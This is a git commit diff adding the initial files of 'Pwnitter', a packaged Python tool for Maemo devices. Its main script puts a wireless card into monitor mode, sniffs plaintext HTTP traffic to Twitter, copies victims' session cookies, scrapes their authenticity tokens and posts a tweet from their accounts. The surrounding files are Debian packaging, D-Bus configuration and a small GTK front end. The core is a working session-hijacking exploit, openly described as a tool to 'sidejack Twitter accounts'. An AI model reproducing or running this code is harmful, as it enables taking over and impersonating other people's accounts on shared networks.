Initial checkin
authorTobias Mueller <tobiasmue@gnome.org>
Sun, 19 Dec 2010 11:56:50 +0000 (17:26 +0530)
committerTobias Mueller <tobiasmue@gnome.org>
Mon, 20 Dec 2010 00:51:09 +0000 (06:21 +0530)
18 files changed:
Makefile [new file with mode: 0644]
de.cryptobitch.muelli.Pwnitter.service [new file with mode: 0644]
debian/README.Debian [new file with mode: 0644]
debian/changelog [new file with mode: 0644]
debian/compat [new file with mode: 0644]
debian/control [new file with mode: 0644]
debian/copyright [new file with mode: 0644]
debian/dirs [new file with mode: 0644]
debian/docs [new file with mode: 0644]
debian/rules [new file with mode: 0644]
pwnitter-dbus.conf [new file with mode: 0644]
pwnitter-gtk [new file with mode: 0755]
pwnitter.desktop [new file with mode: 0644]
pwnitter.py [new file with mode: 0755]
pwnitter_icon_26x26.png [new file with mode: 0644]
setup.py [new file with mode: 0644]
simpledaemon.py [new file with mode: 0755]
stop.py [new file with mode: 0644]

diff --git a/Makefile b/Makefile
new file mode 100644 (file)
index 0000000..29c68da
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,6 @@
+all:
+       python setup.py build
+clean:
+       python setup.py clean --all
+install:
+       python setup.py install --prefix /usr/ --root $(DESTDIR)
diff --git a/de.cryptobitch.muelli.Pwnitter.service b/de.cryptobitch.muelli.Pwnitter.service
new file mode 100644 (file)
index 0000000..b372490
--- /dev/null
@@ -0,0 +1,4 @@
+[D-BUS Service]
+Name=de.cryptobitch.muelli.Pwnitter
+Exec=/usr/bin/pwnitter.py
+User=root
diff --git a/debian/README.Debian b/debian/README.Debian
new file mode 100644 (file)
index 0000000..47bdafa
--- /dev/null
@@ -0,0 +1,6 @@
+pwnitter for Debian
+-------------------
+
+<possible notes regarding this package - if none, delete this file>
+
+ -- unknown <tobiasmue@gnome.org>  Fri, 17 Dec 2010 12:50:54 +0530
diff --git a/debian/changelog b/debian/changelog
new file mode 100644 (file)
index 0000000..1908f02
--- /dev/null
@@ -0,0 +1,89 @@
+pwnitter (0.0.2-1) freemantle; urgency=low
+
+  * Loaded the wrong binary in the .desktop file, now loading pwnitter-gtk
+  * Named the dbus .service to reflect the service name, otherwise it
+    would throw an error
+  * Called the right iw and ifconfig binaries
+  * Made it not block on exit
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 16:21:37 +0530
+
+pwnitter (0.0.1-12) freemantle; urgency=low
+
+  * Allow the wireless to be set up and teared down by the service itself
+  * Make the status a field of the Pwnitter class
+  * Export the status via DBus
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 16:14:23 +0530
+
+pwnitter (0.0.1-11) freemantle; urgency=low
+
+  * Using debhelper7 to build
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 15:57:37 +0530
+
+pwnitter (0.0.1-10) freemantle; urgency=low
+
+  * Fixed an exception in the GUIs callback handler
+  * Made the setup script install in /usr/ prefix
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 15:41:21 +0530
+
+pwnitter (0.0.1-9) freemantle; urgency=low
+
+  * Fix an icon naming clash by renaming this icon to smth sane
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 15:20:48 +0530
+
+pwnitter (0.0.1-8) freemantle; urgency=low
+
+  * Hm, distutils installed in /scratchbox/ for whatever reason, now
+    explicitely installing in /usr/
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 15:04:39 +0530
+
+pwnitter (0.0.1-7) freemantle; urgency=low
+
+  * removing binary-arch from Makefile, because we don't have binaries
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 14:56:08 +0530
+
+pwnitter (0.0.1-6) freemantle; urgency=low
+
+  * Now installing into the correct directory, so that the deb package 
+    can actually pick the files up
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 13:38:53 +0530
+
+pwnitter (0.0.1-5) freemantle; urgency=low
+
+  * Turns out, debian/files was missing. Not knowing the semantics
+    right now, just pushing an empty file
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 13:32:48 +0530
+
+pwnitter (0.0.1-4) freemantle; urgency=low
+
+  * build on i386 fails on the builder only due to dpkg-genchanges: 
+     error: cannot read files list file: No such file or directory
+    thus trying again
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 13:27:00 +0530
+
+pwnitter (0.0.1-3) freemantle; urgency=low
+
+  * Previous build failed due to "OSError", just trying again
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 13:18:53 +0530
+
+pwnitter (0.0.1-2) unstable; urgency=low
+
+  * Made the setup.py install all necessary files, hopefully
+
+ -- Tobias Mueller <tobiasmue@gnome.org>  Fri, 17 Dec 2010 13:10:37 +0530
+
+pwnitter (0.0.1-1) unstable; urgency=low
+
+  * Initial release (Closes: #nnnn)  <nnnn is the bug number of your ITP>
+
+ -- unknown <tobiasmue@gnome.org>  Fri, 17 Dec 2010 12:50:54 +0530
+
diff --git a/debian/compat b/debian/compat
new file mode 100644 (file)
index 0000000..7ed6ff8
--- /dev/null
@@ -0,0 +1 @@
+5
diff --git a/debian/control b/debian/control
new file mode 100644 (file)
index 0000000..21183bb
--- /dev/null
@@ -0,0 +1,25 @@
+Source: pwnitter
+Section: net
+Priority: extra
+Maintainer: Tobias Mueller <tobiasmue@gnome.org>
+#Build-Depends: debhelper (>= 5)
+Build-Depends: debhelper7
+Standards-Version: 3.7.2
+
+Package: pwnitter
+Architecture: any
+Depends: ${shlibs:Depends}, ${misc:Depends}, libpcap0.8, python-pypcap, python-dpkt, python-gtk2, python-dbus, iw
+Description: A simple tool to sidejack Twitter accounts
+ This tool listens on a wifi interface and tries to extract necessary cookies
+XB-Maemo-Icon-26:
+ iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAAABmJLR0QA/wD/AP+g
+ vaeTAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAB3RJTUUH1gURDQoYya0JlwAAAU9J
+ REFUSMftlL1KA0EUhb/NZl/ggnHQxsJUxt5CUucVJCCkDfgyKdIGG5/A0s5HEBtJ
+ EdDAQGBgmw0YJmMzgXXYza5CtNkDW9zZw5z7c+ZCgwb/Ai3i9sVl/Bq8RIs4LRK1
+ gJDsKvJyNXmJMuYTsMoY1zpgozaABdYArQNPZQ1kfyGU7SpqVwxzAMwABWhgpIwp
+ 4vWBB+AUWAI3ypjnfEXtPU4bLKx9vErTeCeiRSYF+fTn1j5dp2myE9EiU+DSi3wX
+ ymeqRQAmZ3EcA5E/fgO6BULT8zhOcrwXoJdrXRa2Lgps2y2odAUcBUIXQdz78YyC
+ SldAp8b7+bXrIv91qjZBietqCc2DjbAt4b2WxJkyZljVujlwp0U0cPxuLcAIuC+4
+ dKxFlsDJarvdAGP/b6hFnDImYs+uG3hbO2AB3Jbsur63tQM+fFx3bzZocEB8AdV2
+ gJBZgKTwAAAAAElFTkSuQmCC
+
diff --git a/debian/copyright b/debian/copyright
new file mode 100644 (file)
index 0000000..dd9a8fe
--- /dev/null
@@ -0,0 +1,22 @@
+This package was debianized by Tobias Mueller <tobiasmue@gnome.org> on
+Fri, 17 Dec 2010 12:50:54 +0530.
+
+It was downloaded from <fill in http/ftp site>
+
+Upstream Author: <put author(s) name and email here>
+
+Copyright: <put the year(s) of the copyright, and the names of the
+            copyright holder(s) here>
+
+License:
+
+<Put the license of the package here>
+
+
+The Debian packaging is (C) 2010, unknown <tobiasmue@gnome.org> and
+is licensed under the GPL, see `/usr/share/common-licenses/GPL'.
+
+
+# Please also look if there are files or directories which have a
+# different copyright/license attached and list them here.
+
diff --git a/debian/dirs b/debian/dirs
new file mode 100644 (file)
index 0000000..ca882bb
--- /dev/null
@@ -0,0 +1,2 @@
+usr/bin
+usr/sbin
diff --git a/debian/docs b/debian/docs
new file mode 100644 (file)
index 0000000..e69de29
diff --git a/debian/rules b/debian/rules
new file mode 100644 (file)
index 0000000..cbe925d
--- /dev/null
@@ -0,0 +1,3 @@
+#!/usr/bin/make -f
+%:
+       dh $@
diff --git a/pwnitter-dbus.conf b/pwnitter-dbus.conf
new file mode 100644 (file)
index 0000000..755e2d0
--- /dev/null
@@ -0,0 +1,33 @@
+<?xml version="1.0"?><!--*-nxml-*-->
+<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
+ "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
+
+<!--
+This file is part of Pwnitter.
+
+Pwnitter is free software; you can redistribute it and/or modify it
+under the terms of the GNU Lesser General Public License as
+published by the Free Software Foundation; either version 2.1 of the
+License, or (at your option) any later version.
+
+Pwnitter is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General
+Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with Pwnitter; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+USA.
+-->
+<busconfig>
+  <policy user="root">
+    <allow              own="de.cryptobitch.muelli.Pwnitter" />
+    <allow send_destination="de.cryptobitch.muelli.Pwnitter" />
+    <allow   receive_sender="de.cryptobitch.muelli.Pwnitter" />
+  </policy>
+  <policy context="default">
+    <allow send_destination="de.cryptobitch.muelli.Pwnitter" />
+    <allow   receive_sender="de.cryptobitch.muelli.Pwnitter" />
+  </policy>
+</busconfig>
diff --git a/pwnitter-gtk b/pwnitter-gtk
new file mode 100755 (executable)
index 0000000..421fee8
--- /dev/null
@@ -0,0 +1,40 @@
+#!/usr/bin/env python
+
+import dbus
+import dbus.mainloop.glib
+import gobject
+import gtk
+import hildon
+
+
+def callback(name):
+    print "called back"
+    counter = int(button.get_label())
+    button.set_label(str(counter+1))
+
+dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
+bus = dbus.SystemBus()
+NAME = 'de.cryptobitch.muelli.Pwnitter'
+IFACE_NAME = 'de.cryptobitch.muelli.Pwnitter'
+pwnitter = dbus.Interface(bus.get_object(NAME, '/Pwnitter'), IFACE_NAME)
+pwnitter.connect_to_signal("MessageSent", callback)
+
+def quit(window, *args):
+    pwnitter.Stop()
+    gtk.main_quit()
+
+def start():
+    pwnitter.Start('mon0')
+    
+window = hildon.Window ()
+window.set_title ("pwnitter")
+window.connect("destroy", quit)
+
+button = gtk.Button ("0")
+window.add (button)
+
+window.show_all()
+
+gobject.idle_add(start)
+
+gtk.main()
diff --git a/pwnitter.desktop b/pwnitter.desktop
new file mode 100644 (file)
index 0000000..c5aa909
--- /dev/null
@@ -0,0 +1,7 @@
+[Desktop Entry]
+Version=1.0.0
+Encoding=UTF-8
+Name=Pwnitter
+Exec=/usr/bin/pwnitter-gtk
+Icon=pwnitter_icon_26x26
+Type=Application
diff --git a/pwnitter.py b/pwnitter.py
new file mode 100755 (executable)
index 0000000..61c98e4
--- /dev/null
@@ -0,0 +1,227 @@
+#!/usr/bin/env python
+# On Linux (as root):
+#  * apt-get install libpcap0.8 python-pypcap python-dpkt
+#  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
+#  * ./idiocy.py -i mon0
+            
+import dbus.service
+import dbus.mainloop.glib
+import getopt, sys, pcap, dpkt, re, httplib, urllib
+import socket
+import time
+import gobject
+import select
+import subprocess
+
+status = 'I browsed twitter insecurely on #fossdotin  and all I got was this lousy tweet.'
+
+def usage(): 
+    print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
+    sys.exit(1)
+
+NAME = 'de.cryptobitch.muelli.Pwnitter'
+
+class Pwnitter(dbus.service.Object):
+    def __init__(self, bus, object_name, device='mon0'):
+        super(Pwnitter, self).__init__(bus, object_name)
+        self.device = device
+        
+        self.status = status
+        self.is_running = False
+
+    @dbus.service.method(NAME,
+                         in_signature='', out_signature='')
+    def Start(self, device='mon0'):
+        # FIXME: Prevent double Start()
+        cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
+        subprocess.call(cmd)
+        cmd = '/sbin/ifconfig mon0 up'.split()
+        subprocess.call(cmd)
+        self.is_running = True
+        try:
+            self.cap = pcap.pcap(device)
+        except OSError, e:
+            print "Error setting up %s" % device
+            raise e
+        self.cap.setfilter('dst port 80')
+        gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent))
+    
+    @dbus.service.signal(NAME)
+    def MessageSent(self, who):
+        print "Emitting MessageSent"
+        return who
+        return False
+        pass
+
+    @dbus.service.method(NAME,
+                         in_signature='s', out_signature='')
+    def SetMessage(self, message):
+        self.status = message
+        
+    @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
+                         in_signature='', out_signature='s')
+    def GetMessage(self):
+        return self.status
+
+    @dbus.service.method(NAME,
+                         in_signature='', out_signature='')
+    def Stop(self):
+        self.is_running = False
+        print "Receive Stop"
+        cmd = '/sbin/ifconfig mon0 down'.split()
+        subprocess.call(cmd)
+        cmd = '/usr/sbin/iw dev mon0 del'.split()
+        subprocess.call(cmd)
+        loop.quit()
+
+
+    def pwn(self, device, tweeted_callback=None):
+        processed = {}
+        if self.is_running: # This is probably not needed, but I feel better checking it more than too less
+            #for ts, raw  in self.cap: # This blocks. Which is unfortunate if the application wants to exist
+            cap_fileno = self.cap.fileno()
+            rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5)
+            #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist)
+            if cap_fileno in rlist:
+                ts, raw = self.cap.next()
+                eth = dpkt.ethernet.Ethernet(raw)
+                #print 'got a packet'  
+                # Depending on platform, we can either get fully formed packets or unclassified radio data
+                if isinstance(eth.data, str):
+                    data = eth.data
+                else:
+                    data = eth.data.data.data
+
+                hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
+                if hostMatches:
+                    print 'Host matched'
+                    host = hostMatches.group(1)
+
+                    cookieMatches = re.search('Cookie: ([^\n]+)', data)
+                    if cookieMatches:
+                        cookie = cookieMatches.group(1)
+
+                        headers = {
+                            "User-Agent": "Mozilla/5.0",
+                            "Cookie": cookie,
+                        }
+                        
+                        conn = httplib.HTTPSConnection(host)
+                        try:
+                            conn.request("GET", "/", None, headers)
+                        except socket.error, e:
+                            print e
+                        else:
+                            response = conn.getresponse()
+                            page = response.read()
+
+                            # Newtwitter and Oldtwitter have different formatting, so be lax
+                            authToken = ''
+
+                            formMatches = re.search("<.*?authenticity_token.*?>", page, 0)
+                            if formMatches:
+                                authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
+
+                                if authMatches:
+                                    authToken = authMatches.group(1)
+
+                            nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
+                            if not nameMatches:
+                                nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
+       
+                            name = ''
+                            if nameMatches:
+                                name = nameMatches.group(1)
+
+
+                            # We don't want to repeatedly spam people
+                            # FIXME: What the fuck logic. Please clean up
+                            if not ((not name and host != 'mobile.twitter.com') or name in processed):
+                                headers = {
+                                    "User-Agent": "Mozilla/5.0",
+                                    "Accept": "application/json, text/javascript, */*",
+                                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+                                    "X-Requested-With": "XMLHttpRequest",
+                                    "X-PHX": "true",
+                                    "Referer": "http://api.twitter.com/p_receiver.html",
+                                    "Cookie": cookie
+                                }
+
+
+                                print 'Issueing connection'
+                                if host == 'mobile.twitter.com':
+
+                                    params = urllib.urlencode({
+                                        'tweet[text]': self.status,
+                                        'authenticity_token': authToken
+                                    })
+
+                                    conn = httplib.HTTPConnection("mobile.twitter.com")
+                                    conn.request("POST", "/", params, headers)
+
+                                else:
+
+                                    params = urllib.urlencode({
+                                        'status': self.status,
+                                        'post_authenticity_token': authToken
+                                    })
+
+                                    conn = httplib.HTTPConnection("api.twitter.com")
+                                    conn.request("POST", "/1/statuses/update.json", params, headers)
+
+
+                                response = conn.getresponse()
+                                print 'Got response: %s' % response.status
+                                if response.status == 200 or response.status == 302 or response.status == 403:
+
+                                    if name:
+                                        processed[name] = 1
+
+                                    # 403 is a dupe tweet
+                                    if response.status != 403:
+                                        print "Successfully tweeted as %s" % name
+                                        print 'calling %s' % tweeted_callback
+                                        if tweeted_callback:
+                                            tweeted_callback(name)
+                                    else:
+                                        print 'Already tweeted as %s' % name
+
+                                else:
+
+                                    print "FAILED to tweet as %s, debug follows:" % name
+                                    print response.status, response.reason
+                                    print response.read() + "\n"
+                #break # Break after one read packet
+        return self.is_running # Execute next time, we're idle
+    # FIXME: Ideally, check    whether Pcap has got data for us
+
+def main():
+
+    opts, args = getopt.getopt(sys.argv[1:], 'i:h')
+    device = None
+    for o, a in opts:
+        if o == '-i':
+            device = a
+        else:
+            usage()
+    #pwn(device)
+
+
+
+if __name__ == '__main__':
+    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
+
+    #session_bus = dbus.SessionBus()
+    session_bus = dbus.SystemBus()
+    name = dbus.service.BusName(NAME, session_bus)
+    pwnitter = Pwnitter(session_bus, '/Pwnitter')
+    #object.Start()
+
+    loop = gobject.MainLoop()
+    print "Running example signal emitter service."
+    # FIXME: This is debug code
+    #gobject.idle_add(pwnitter.MessageSent)
+    
+    loop.run()
+    print "Exiting for whatever reason"
+    #main()
diff --git a/pwnitter_icon_26x26.png b/pwnitter_icon_26x26.png
new file mode 100644 (file)
index 0000000..3a7014e
Binary files /dev/null and b/pwnitter_icon_26x26.png differ
diff --git a/setup.py b/setup.py
new file mode 100644 (file)
index 0000000..3ac03fa
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,18 @@
+from distutils.core import setup
+setup(name='pwnitter',
+       version='0.0.2',
+       author='Tobias Mueller',
+       author_email='tobiasmue@gnome.org',
+       license='GPLv3+',
+       description='Pwnitter hijacks Twitter accounts on the fly',
+       long_description='''Pwnitter listens on traffic and tries to extract authentication data from Cookies and uses that to post an own message to Twitter''',
+       #FIXME: That installs to /scratchbox/ for whatever reason scripts=['pwnitter.py', 'pwnitter-gtk'],
+       data_files = [ # FIXME: Probably abstract /usr/
+                    ('/usr/share/pixmaps',             ['pwnitter_icon_26x26.png']),
+                    ('/usr/share/applications/hildon', ['pwnitter.desktop']),
+                    ('/usr/share/dbus-1/system-services', ['de.cryptobitch.muelli.Pwnitter.service']),
+                    ('/etc/dbus-1/system.d', ['pwnitter-dbus.conf']),
+                    ('/usr/bin', ['pwnitter.py', 'pwnitter-gtk']),
+                    ]
+      )
diff --git a/simpledaemon.py b/simpledaemon.py
new file mode 100755 (executable)
index 0000000..2d4901a
--- /dev/null
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+
+import dbus
+import dbus.service
+import dbus.mainloop.glib
+import gobject
+
+class SomeObject(dbus.service.Object):
+    @dbus.service.method("de.cryptobitch.muelli.Pwnitter",
+                         in_signature='s', out_signature='as')
+    def HelloWorld(self, hello_message="default"):
+        print (str(hello_message))
+        return ["Hello", " from example-service.py", "with unique name",
+                session_bus.get_unique_name()]
+    @dbus.service.method("de.cryptobitch.muelli.Pwnitter",
+                         in_signature='', out_signature='')
+    def EmitSignal(self):
+        self.MessageSent('foo')
+    
+    @dbus.service.signal("de.cryptobitch.muelli.Pwnitter")                
+    def MessageSent(self,who):
+        print 'emitting'
+    
+    def emit_and_true(self):
+        self.MessageSent('always')
+        return True
+if __name__ == '__main__':
+    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
+
+    session_bus = dbus.SystemBus()
+    name = dbus.service.BusName("de.cryptobitch.muelli.Pwnitter", session_bus)
+    object = SomeObject(session_bus, '/Pwnitter')
+
+    mainloop = gobject.MainLoop()
+    gobject.timeout_add(5 * 1000, object.emit_and_true)
+    print "Running example service."
+    mainloop.run()
diff --git a/stop.py b/stop.py
new file mode 100644 (file)
index 0000000..e88076a
--- /dev/null
+++ b/stop.py
@@ -0,0 +1,7 @@
+#!/usr/bin/env python
+
+import dbus
+
+bus = dbus.SystemBus()
+pwnitter = dbus.Interface(bus.get_object('de.cryptobitch.muelli.Pwnitter', '/Pwnitter'), 'de.cryptobitch.muelli.Pwnitter')
+pwnitter.Stop()